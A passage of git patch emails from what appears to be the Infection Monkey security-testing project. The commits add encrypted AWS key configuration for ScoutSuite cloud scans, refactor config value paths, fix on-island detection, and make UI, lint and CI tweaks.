a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss index 8b1b10502..e3ecbd0e6 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss @@ -15,23 +15,6 @@ margin-top: 20px; } -#auth-button { - border-color: #3f3f3f; - font-size: 1.3em; - width: 100%; - background-color: #3f3f3f; - color: $monkey-yellow; -} - -#auth-button:hover { - border-color: $monkey-yellow; - font-size: 1.3em; - font-weight: bold; - width: 100%; - background-color: $monkey-yellow; - color: #000000; -} - .monkey-detective { max-height: 500px; } From 17d91766df9e3fe16c4e7c68f1e233e08ea963cc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Oct 2020 15:07:32 +0300 Subject: [PATCH 038/466] Added AWS keys to config --- monkey/common/cloud/scoutsuite_consts.py | 9 +++ monkey/infection_monkey/config.py | 4 ++ .../scoutsuite_collector.py | 32 ++++++---- monkey/monkey_island/cc/services/config.py | 36 ++++++----- .../cc/services/config_schema/internal.py | 17 +++++ .../scoutsuite/scoutsuite_auth_service.py | 63 +++++++++++++++++++ .../configuration-components/UiSchema.js | 3 + 7 files changed, 135 insertions(+), 29 deletions(-) create mode 100644 monkey/common/cloud/scoutsuite_consts.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py new file mode 100644 index 000000000..86411e179 --- /dev/null +++ b/monkey/common/cloud/scoutsuite_consts.py @@ -0,0 +1,9 @@ +from enum import Enum + + +class PROVIDERS(Enum): + AWS = 'aws' + AZURE = 'azure' + GCP = 'gcp' + ALIBABA = 'aliyun' + ORACLE = 'oci' diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 2917524c5..7597e3de3 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -246,6 +246,10 @@ class Configuration(object): exploit_ntlm_hash_list = [] exploit_ssh_keys = [] + access_key_id = '' + secret_access_key = '' + session_token = '' + # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index f7d6b7ec5..6965e53c7 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -1,22 +1,28 @@ +import logging + import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api +from common.cloud.scoutsuite_consts import PROVIDERS from infection_monkey.telemetry.scoutsuite_telem import ScoutSuiteTelem +from infection_monkey.config import WormConfiguration + +logger = logging.getLogger(__name__) -class CLOUD_TYPES: - AWS = 'aws' - AZURE = 'azure' - GCP = 'gcp' - ALIBABA = 'aliyun' - ORACLE = 'oci' +def scan_cloud_security(cloud_type: PROVIDERS): + try: + results = run_scoutsuite(cloud_type.value) + if 'error' in results and results['error']: + raise Exception(results['error']) + send_results(results) + except Exception as e: + logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") -def scan_cloud_security(cloud_type: CLOUD_TYPES): - results = run_scoutsuite(cloud_type) - send_results(results) - - -def run_scoutsuite(cloud_type): - return scoutsuite_api.run(provider=cloud_type) +def run_scoutsuite(cloud_type: str): + return scoutsuite_api.run(provider=cloud_type, + aws_access_key_id=WormConfiguration.access_key_id, + aws_secret_access_key=WormConfiguration.secret_access_key, + aws_session_token=WormConfiguration.session_token) def send_results(results): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index e67abc1f3..e071366fb 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -21,12 +21,15 @@ from monkey_island.cc.services.config_schema.config_value_paths import STARTED_O logger = logging.getLogger(__name__) # This should be used for config values of array type (array of strings only) -ENCRYPTED_CONFIG_ARRAYS = \ +ENCRYPTED_CONFIG_VALUES = \ [ - ['basic', 'credentials', 'exploit_password_list'], - ['internal', 'exploits', 'exploit_lm_hash_list'], - ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'] + PASSWORD_LIST_PATH, + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + SSH_KEYS_PATH, + AWS_KEYS_PATH + ['access_key_id'], + AWS_KEYS_PATH + ['secret_access_key'], + AWS_KEYS_PATH + ['session_token'] ] @@ -69,8 +72,11 @@ class ConfigService: for config_key_part in config_key_as_arr: config = config[config_key_part] if should_decrypt: - if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: - config = [encryptor.dec(x) for x in config] + if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: + if isinstance(config, str): + config = encryptor.dec(config) + elif isinstance(config, list): + config = [encryptor.dec(x) for x in config] return config @staticmethod @@ -79,12 +85,6 @@ class ConfigService: mongo.db.config.update({'name': 'newconfig'}, {"$set": {mongo_key: value}}) - @staticmethod - def append_to_config_array(config_key_as_arr, value): - mongo_key = ".".join(config_key_as_arr) - mongo.db.config.update({'name': 'newconfig'}, - {"$push": {mongo_key: value}}) - @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) @@ -92,7 +92,11 @@ class ConfigService: for i in config_json: for j in config_json[i]: for k in config_json[i][j]: - flat_config_json[k] = config_json[i][j][k] + if isinstance(config_json[i][j][k], dict): + for key, value in config_json[i][j][k].items(): + flat_config_json[key] = value + else: + flat_config_json[k] = config_json[i][j][k] return flat_config_json @@ -101,8 +105,8 @@ class ConfigService: return SCHEMA @staticmethod - def add_item_to_config_set_if_dont_exist(item_key, item_value, should_encrypt): - item_path_array = item_key.split('.') + def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_encrypt): + item_key = '.'.join(item_path_array) items_from_config = ConfigService.get_config_value(item_path_array, False, should_encrypt) if item_value in items_from_config: return diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index bdbae2461..b571d31ab 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -94,6 +94,23 @@ INTERNAL = { "type": "boolean", "default": True, "description": "Is the monkey alive" + }, + "aws_keys": { + "type": "object", + "properties": { + "access_key_id": { + "type": "string", + "default": "" + }, + "secret_access_key": { + "type": "string", + "default": "" + }, + "session_token": { + "type": "string", + "default": "" + } + } } } }, diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py new file mode 100644 index 000000000..5cd29d423 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -0,0 +1,63 @@ +import pkgutil +import sys +from pathlib import PurePath +from typing import Tuple + +from common.cloud.scoutsuite_consts import PROVIDERS +from common.utils.exceptions import InvalidAWSKeys +from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.config_schema.config_value_paths import AWS_KEYS_PATH + +_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') + + +def _add_scoutsuite_to_python_path(): + scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() + sys.path.append(scoutsuite_path) + + +_add_scoutsuite_to_python_path() + + +def is_cloud_authentication_setup(provider: PROVIDERS) -> Tuple[bool, str]: + if provider == PROVIDERS.AWS.value: + if is_aws_keys_setup(): + return True, "AWS keys already setup. Run monkey on Island to scan." + + import common.cloud.scoutsuite.ScoutSuite.providers.aws.authentication_strategy as auth_strategy + try: + profile = auth_strategy.AWSAuthenticationStrategy().authenticate() + return True, f" Profile \"{profile.session.profile_name}\" is already setup. Run monkey on Island to scan." + except Exception: + return False, "" + + +def is_aws_keys_setup(): + return (ConfigService.get_config_value(AWS_KEYS_PATH + ['access_key_id']) and + ConfigService.get_config_value(AWS_KEYS_PATH + ['secret_access_key'])) + + +def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): + if not access_key_id or not secret_access_key: + raise InvalidAWSKeys("Missing some of the following fields: access key ID, secret access key.") + _set_aws_key('access_key_id', access_key_id) + _set_aws_key('secret_access_key', secret_access_key) + _set_aws_key('session_token', session_token) + + +def _set_aws_key(key_type: str, key_value: str): + path_to_keys = AWS_KEYS_PATH + encrypted_key = encryptor.enc(key_value) + ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) + + +def get_aws_keys(): + return {'access_key_id': _get_aws_key('access_key_id'), + 'secret_access_key': _get_aws_key('secret_access_key'), + 'session_token': _get_aws_key('session_token')} + + +def _get_aws_key(key_type: str): + path_to_keys = AWS_KEYS_PATH + return ConfigService.get_config_value(config_key_as_arr=path_to_keys + [key_type]) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index aab3f1899..ac9104817 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -84,6 +84,9 @@ export default function UiSchema(props) { monkey: { alive: { classNames: 'config-field-hidden' + }, + aws_keys: { + classNames: 'config-field-hidden' } } } From 841f542c6bf45b4f5d04a1418ba8ea56c4068d60 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Oct 2020 15:08:45 +0300 Subject: [PATCH 039/466] Refactored few more files to use config value path array, rather than hardcoded in-place value --- .../cc/services/attack/technique_reports/T1065.py | 4 +++- monkey/monkey_island/cc/services/configuration/utils.py | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index cd4d69ae8..c3fcd03e8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -4,6 +4,8 @@ from monkey_island.cc.services.config import ConfigService __author__ = "VakarisZ" +from monkey_island.cc.services.config_schema.config_value_paths import CURRENT_SERVER_PATH + class T1065(AttackTechnique): tech_id = "T1065" @@ -14,6 +16,6 @@ class T1065(AttackTechnique): @staticmethod def get_report_data(): - port = ConfigService.get_config_value(['internal', 'island_server', 'current_server']).split(':')[1] + port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(':')[1] T1065.used_msg = T1065.message % port return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py index 34d6a9bb5..48857e2e3 100644 --- a/monkey/monkey_island/cc/services/configuration/utils.py +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -1,5 +1,6 @@ from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.config_schema.config_value_paths import INACCESSIBLE_SUBNETS_PATH def get_config_network_segments_as_subnet_groups(): - return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] + return [ConfigService.get_config_value(INACCESSIBLE_SUBNETS_PATH)] From d3f0dc2a750a38e754c9c3f2f485564f79ba336c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Oct 2020 15:09:10 +0300 Subject: [PATCH 040/466] Improved back button --- .../src/components/ui-components/inline-selection/BackButton.js | 2 +- .../ui/src/styles/components/inline-selection/BackButton.scss | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js index 5799a39ea..f37426df4 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/inline-selection/BackButton.js @@ -7,7 +7,7 @@ import {faCaretLeft} from '@fortawesome/free-solid-svg-icons/faCaretLeft'; export default function backButton(props) { return ( - + . @@ -48,7 +49,10 @@ const getContents = (props) => { 2. If you change the configuration, make sure not to disable AWS system info collector.
  6. - 3. Go back and run Monkey on the Island server. + 3. Go +  and run Monkey on the Island server.
  7. 4. Assess results in Zero Trust report. diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js index 3643ba89c..af2cecf8f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js @@ -83,7 +83,7 @@ const getContents = (props) => {
    Keys for custom user

    1. Open the IAM console at https://console.aws.amazon.com/iam/ .

    + target={'_blank'}>https://console.aws.amazon.com/iam/.

    2. In the navigation pane, choose Users.

    3. Choose the name of the user whose access keys you want to create, and then choose the Security credentials tab.

    diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js index aa4dedd2e..3e643b361 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js @@ -29,7 +29,7 @@ const getContents = (props) => { .then(res => res.json()) .then(res => { if(res.is_setup){ - setDescription(res.message + 'Click next to change the configuration.'); + setDescription(res.message + ' Click next to change the configuration.'); setIconType('icon-success'); setIcon(faCheck); } else { diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss index 9d8b793aa..8be9d1956 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss @@ -13,9 +13,21 @@ } .aws-scoutsuite-configuration li { + margin-bottom: 0; +} + +.aws-scoutsuite-configuration h2 { + margin-bottom: 20px; +} + +.aws-scoutsuite-configuration p { margin-bottom: 5px; } +.aws-scoutsuite-configuration .cli-link { + padding: 0 0 4px 0; +} + .monkey-submit-button { margin-bottom: 15px; } From d2a8597903db50a7f728f2827824c32a7b51147f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Oct 2020 17:56:29 +0300 Subject: [PATCH 047/466] Fixed error caused by mixing up the value of "started_on_island" with whether the current monkey is running on island. --- monkey/common/network/network_utils.py | 9 +++++++++ monkey/infection_monkey/monkey.py | 11 +++-------- .../system_info/collectors/aws_collector.py | 4 ++-- 3 files changed, 14 insertions(+), 10 deletions(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index e99d0cf2b..384017f3b 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,6 +1,9 @@ import re from urllib.parse import urlparse +from infection_monkey.config import WormConfiguration +from infection_monkey.network.tools import is_running_on_server + def get_host_from_network_location(network_location: str) -> str: """ @@ -18,3 +21,9 @@ def remove_port(url): with_port = f'{parsed.scheme}://{parsed.netloc}' without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port) return without_port + + +def is_running_on_island(): + current_server_without_port = get_host_from_network_location(WormConfiguration.current_server) + running_on_island = is_running_on_server(current_server_without_port) + return running_on_island and WormConfiguration.depth == WormConfiguration.max_depth diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 23c94a7f9..6b0e68dff 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,7 @@ import time from threading import Thread import infection_monkey.tunnel as tunnel -from common.network.network_utils import get_host_from_network_location +from common.network.network_utils import is_running_on_island from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exceptions import (ExploitingVulnerableMachineError, FailedExploitationError) @@ -19,8 +19,7 @@ from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner -from infection_monkey.network.tools import (get_interface_to_target, - is_running_on_server) +from infection_monkey.network.tools import get_interface_to_target from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -125,7 +124,7 @@ class InfectionMonkey(object): self.shutdown_by_not_alive_config() - if self.is_started_on_island(): + if is_running_on_island(): WormConfiguration.started_on_island = True ControlClient.report_start_on_island() ControlClient.should_monkey_run(self._opts.vulnerable_port) @@ -400,10 +399,6 @@ class InfectionMonkey(object): self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) - def is_started_on_island(self): - island_ip = get_host_from_network_location(self._default_server) - return is_running_on_server(island_ip) and WormConfiguration.depth == WormConfiguration.max_depth - def log_arguments(self): arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) LOG.info(f"Monkey started with arguments: {arg_string}") diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index 406c5b0ce..e8d181077 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -3,10 +3,10 @@ import logging from common.cloud.aws.aws_instance import AwsInstance from common.cloud.scoutsuite_consts import PROVIDERS from common.common_consts.system_info_collectors_names import AWS_COLLECTOR +from common.network.network_utils import is_running_on_island from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import scan_cloud_security from infection_monkey.system_info.system_info_collector import \ SystemInfoCollector -from infection_monkey.config import WormConfiguration logger = logging.getLogger(__name__) @@ -20,7 +20,7 @@ class AwsCollector(SystemInfoCollector): def collect(self) -> dict: logger.info("Collecting AWS info") - if WormConfiguration.started_on_island: + if is_running_on_island(): logger.info("Attempting to scan AWS security with ScoutSuite.") scan_cloud_security(cloud_type=PROVIDERS.AWS) else: From 672c19ef0d183c1395187140bbeb202342fecb71 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Oct 2020 11:00:06 +0300 Subject: [PATCH 048/466] Fixed scoutsuite bug that caused bad exception handling --- monkey/common/cloud/scoutsuite | 2 +- monkey/infection_monkey/monkey.py | 2 +- .../collectors/scoutsuite_collector/scoutsuite_collector.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/common/cloud/scoutsuite b/monkey/common/cloud/scoutsuite index 6d7178d7a..b80659387 160000 --- a/monkey/common/cloud/scoutsuite +++ b/monkey/common/cloud/scoutsuite @@ -1 +1 @@ -Subproject commit 6d7178d7a1249024bea0ec20985f73aa35ab4809 +Subproject commit b806593875e7927f1b1b20cb5bc27da0025dbb51 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6b0e68dff..54fce9642 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -250,7 +250,7 @@ class InfectionMonkey(object): LOG.debug("Running with depth: %d" % WormConfiguration.depth) def collect_system_info_if_configured(self): - LOG.debug("Calling system info collection") + LOG.debug("Calling for system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index 6965e53c7..06bdf91e8 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -11,7 +11,7 @@ logger = logging.getLogger(__name__) def scan_cloud_security(cloud_type: PROVIDERS): try: results = run_scoutsuite(cloud_type.value) - if 'error' in results and results['error']: + if isinstance(results, dict) and 'error' in results and results['error']: raise Exception(results['error']) send_results(results) except Exception as e: From 22a97096ca97f8fd697e83059b12fa3dd88193ed Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Oct 2020 12:21:24 +0300 Subject: [PATCH 049/466] Altered SS rule dropdowns to display resource name whenever possible, and to display more proper value --- .../zerotrust/scoutsuite/ResourceDropdown.js | 9 +++++---- .../zerotrust/scoutsuite/RuleDisplay.js | 5 ++++- .../zerotrust/scoutsuite/ScoutSuiteDataParser.js | 16 ++++++++++++++++ 3 files changed, 25 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js index 03343d901..212d37331 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js @@ -12,6 +12,8 @@ import {faArrowRight} from '@fortawesome/free-solid-svg-icons'; export default function ResourceDropdown(props) { const [isCollapseOpen, setIsCollapseOpen] = useState(false); + let parser = new ScoutSuiteDataParser(props.scoutsuite_data.data.services); + let resource_value = parser.getResourceValue(props.resource_path, props.template_path); function getResourceDropdown() { return ( @@ -20,7 +22,7 @@ export default function ResourceDropdown(props) {
-

+

Resources checked:

@@ -28,7 +28,10 @@ export default function RuleDisplay(props) { function getReferences() { let references = [] props.rule.references.forEach(reference => { - references.push({reference}) + references.push({reference}) }) return (
@@ -40,7 +43,8 @@ export default function RuleDisplay(props) { function getResources() { let resources = [] props.rule.items.forEach(item => { - let template_path = props.rule.hasOwnProperty('display_path') ? props.rule.display_path : props.rule.path; + let template_path = Object.prototype.hasOwnProperty.call(props.rule, 'display_path') + ? props.rule.display_path : props.rule.path; resources.push() diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js index 6c0fb6cf5..3500ffe20 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js @@ -53,13 +53,13 @@ export default function ScoutSuiteSingleRuleDropdown(props) { let ruleStatus = getRuleStatus(props.rule); switch (ruleStatus) { case STATUSES.STATUS_PASSED: - return "collapse-success"; + return 'collapse-success'; case STATUSES.STATUS_VERIFY: - return "collapse-danger"; + return 'collapse-danger'; case STATUSES.STATUS_FAILED: - return "collapse-danger"; + return 'collapse-danger'; case STATUSES.STATUS_UNEXECUTED: - return "collapse-default"; + return 'collapse-default'; } } From abe20c6a3aedbceca511fd0ba0eaafdbc9d86b6b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Oct 2020 10:32:33 +0300 Subject: [PATCH 069/466] Once again fixed isort bug in travis and fixed some imports --- .travis.yml | 5 ++-- .../analyzers/performance_analyzer.py | 3 +-- .../island_client/monkey_island_client.py | 3 +-- .../island_client/monkey_island_requests.py | 3 +-- .../log_handlers/test_logs_handler.py | 6 ++--- envs/monkey_zoo/blackbox/test_blackbox.py | 24 +++++++------------ .../performance/endpoint_performance_test.py | 12 ++++------ .../tests/performance/map_generation.py | 9 +++---- .../map_generation_from_telemetries.py | 6 ++--- .../performance/performance_test_workflow.py | 6 ++--- .../tests/performance/report_generation.py | 9 +++---- .../report_generation_from_telemetries.py | 6 ++--- .../sample_multiplier/sample_multiplier.py | 6 ++--- .../performance/telemetry_performance_test.py | 15 ++++-------- .../telemetry_performance_test_workflow.py | 9 +++---- envs/os_compatibility/test_compatibility.py | 3 +-- 16 files changed, 43 insertions(+), 82 deletions(-) diff --git a/.travis.yml b/.travis.yml index 6722830c0..f5331e911 100644 --- a/.travis.yml +++ b/.travis.yml @@ -77,11 +77,12 @@ script: - if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Check import order -- python -m isort . -c -p common -p infection_monkey -p monkey_island --skip ./common/cloud/scoutsuite --skip ./monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py -l 120 --wl 120 +- python -m isort . -c -p common -p infection_monkey -p monkey_island --skip ./monkey/common/cloud/scoutsuite --skip ./monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py -l 120 --wl 120 ## Run unit tests - cd monkey # This is our source dir -- python -m pytest --ignore=./common/cloud/scoutsuite # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. +- python -m pytest --ignore=./monkey/ + common/cloud/scoutsuite # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. ## Calculate Code Coverage - coverage run -m pytest diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py index e0354530e..4a43ab6a5 100644 --- a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py @@ -3,8 +3,7 @@ from datetime import timedelta from typing import Dict from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 5932022fb..e3ecb6eb8 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -4,8 +4,7 @@ from time import sleep from bson import json_util -from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import \ - MonkeyIslandRequests +from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 MONKEY_TEST_ENDPOINT = 'api/test/monkey' diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 9a98c1e06..226a0043c 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -5,8 +5,7 @@ from typing import Dict import requests -from envs.monkey_zoo.blackbox.island_client.supported_request_method import \ - SupportedRequestMethod +from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py index 3f5cfc191..bae6a9adc 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py +++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py @@ -2,10 +2,8 @@ import logging import os import shutil -from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import \ - MonkeyLogParser -from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import \ - MonkeyLogsDownloader +from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser +from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader LOG_DIR_NAME = 'logs' LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 45751452e..ce5e34ec0 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -4,25 +4,17 @@ from time import sleep import pytest -from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \ - CommunicationAnalyzer -from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ - IslandConfigParser -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient -from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ - TestLogsHandler +from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation import \ - MapGenerationTest -from 